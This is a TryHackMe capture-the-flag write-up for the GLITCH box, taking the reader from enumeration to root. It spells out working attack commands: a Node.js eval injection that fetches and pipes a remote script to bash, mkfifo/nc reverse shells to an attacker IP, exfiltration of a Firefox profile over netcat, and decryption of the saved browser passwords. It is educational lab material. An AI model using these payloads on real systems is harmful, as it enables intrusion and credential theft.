TryHackMe GLITCH Writeup
This writeup will help you solve the GLITCH box on TryHackMe. Before we start enumerating the box, add the following line to your /etc/hosts
file.
echo "<box_ip> glitch.thm" >> /etc/hosts
TryHackMe GLITCH – Enumeration
As per usual, we start by running a port scan on the host using nmap
. The sC
and sV
flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.
nmap -sV -sC glitch.thm
You can see the output of this scan below:
PORT STATE SERVICE VERSION 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: 502 Bad Gateway Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
When browsing to HTTP://glitch.thm/
we find the following web page.

You can see the following snippet in the plain HTML code of the page.
function getAccess() { fetch('/api/access') .then((response) => response.json()) .then((response) => { console.log(response); }); }
Open the console of your browser and enter: getAccess()
. A Base64 Access token should pop up. Decode this value by running the following command in your terminal
echo "REDACTED" | base64 -d
Now open your Storage
tab in Firefox (Shift+F9) or the Application
tab on Chrome (Ctrl+Shift+C then click Application). In both tabs, you can edit the cookies used for the website. You should find one cookie value with the name: token
. Change the value to the just found token. If all goes well, you should see the following web page

The web page itself does not reveal relevant information. However, we see that there is an API in place. Let’s download Insomnia to make testing the API easier. Run the following commands:
echo "deb https://dl.bintray.com/getinsomnia/Insomnia /" \ | sudo tee -a /etc/apt/sources.list.d/insomnia.list wget --quiet -O - https://insomnia.rest/keys/debian-public.key.asc \ | sudo apt-key add - sudo apt-get update sudo apt-get install insomnia
Insomnia to inspect API
Now you can start Insomnia
. Open Insomnia
and create a new request. You should see the following window:

Edit the request to contain: http://glitch.thm/api/items
. Send the request to see that you can receive data. The following should now be visible in Insomnia
:

You just performed a GET request. Usually, a GET request specifies the acquiring of data. On the other hand, A POST request specifies the sending of data. Change the method to POST and send the request again. The following image illustrates the request you have to send using Insomnia

You should now see the following response.
{ "message": "there_is_a_glitch_in_the_matrix" }
This error message might be an indication that the request can be sent as POST request as well. However, we need an additional parameter to do something useful with the request. We now will use wfuzz
to determine this parameter. Run the following command:
wfuzz -c -z file,/usr/share/wordlists/common.txt -X POST --hh 45 -u http://glitch.thm/api/items\?FUZZ\=test
The hh
flag is used to hide responses containing 45 characters, the c
flag is used to show the output in colors, and the z
is used to specify the payload. You can find the common.txt
wordlist at the following link. Let the script run for a few minutes to find the following output
===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000915: 500 10 L 64 W 1081 Ch "cmd"
The cmd
parameter seems to be valid for this POST request. We can test the request by requesting it in Insomnia
.

As you can see in the image, there is the following error message.
ReferenceError: test is not defined at eval (eval at router.post (/var/web/routes/api.js:25:60),:1:1) at router.post (/var/web/routes/api.js:25:60) at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5) at next (/var/web/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5) at /var/web/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12) at next (/var/web/node_modules/express/lib/router/index.js:275:10) at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)
We can see that the test
value is executed within a eval
function. Also important to note here is that we are using a NodeJS
system. We, therefore, have to find a payload that executes a reverse shell on the NodeJS
server. On PayloadsAllTheThins you can find the following payload:
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
However, filling in this value in the URL did not get me a reverse shell. You need to create a file named: shell.sh
containing the following lines
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING_IP> 9001 >/tmp/f
Start a new Python web server by running
python3 -m http.server
Open up a new nc
listener to catch the shell on your attacking machine:
nc- lvnp 9001
Go back to Insomnia
and send the following POST request
http://glitch.thm/api/items?cmd=require(%27child_process%27).exec('curl -s -L http://<ATTACK_IP>:8000/shell.sh | bash')
Go back to your listening terminal, and you should no have obtained a shell. Improve your shell by running the following commands
python3 -c 'import pty;pty.spawn("/bin/bash")' CTRL+Z stty raw -echo;fg ENTER ENTER
Note: The capitalized words are keyboard combinations.
You can find the user.txt
flag at /home/user/user.txt
.
TryHackMe GLITCH – Root Flag
A directory named: .firefox
resides in the /home/user
directory. This directory could contain passwords saved by using the Firefox browser. Let’s transfer this directory to our attacking machine. Run the following command on your attacking machine:
mkdir firefox cd firefox nc -l 9002 |tar xf -
On the box run:
cd /home/user/.firefox tar cf - . | nc <ATTACKING_IP> 9002
Wait a few minutes for your files to be downloaded on your attacking machine. There is a tool available to acquire all passwords within the Firefox files. You can find it here. Run the following commands to get the passwords from Firefox.
git clone https://github.com/unode/firefox_decrypt.git ./firefox_decrypt/firefox_decrypt.py ./firefox_decrypt/firefox_decrypt.py b5w4643p.default-release/
Hit Enter when asked to provide the master password, and you should see the password of the v0id
user. The output should be something like this:
Website: https://glitch.thm Username: 'v0id' Password: '<REDACTED>'
On the box, run the following command to change to the v0id
user
su v0id
Provide the just found password. Now that you are the v0id
user, we only need to become the root
user. When looking at interesting executables, I found the doas
command. This command is, in essence, the same as the sudo
command. Run the following command:
doas -u root /bin/bash
Provide the password of the v0id
user once more, and you should now be the root
user.
This was an interesting box to root. I tried to use Insomnia
to try some other API tools. Whenever you decide to implement an API, make sure that you do not allow all request types for all your requests.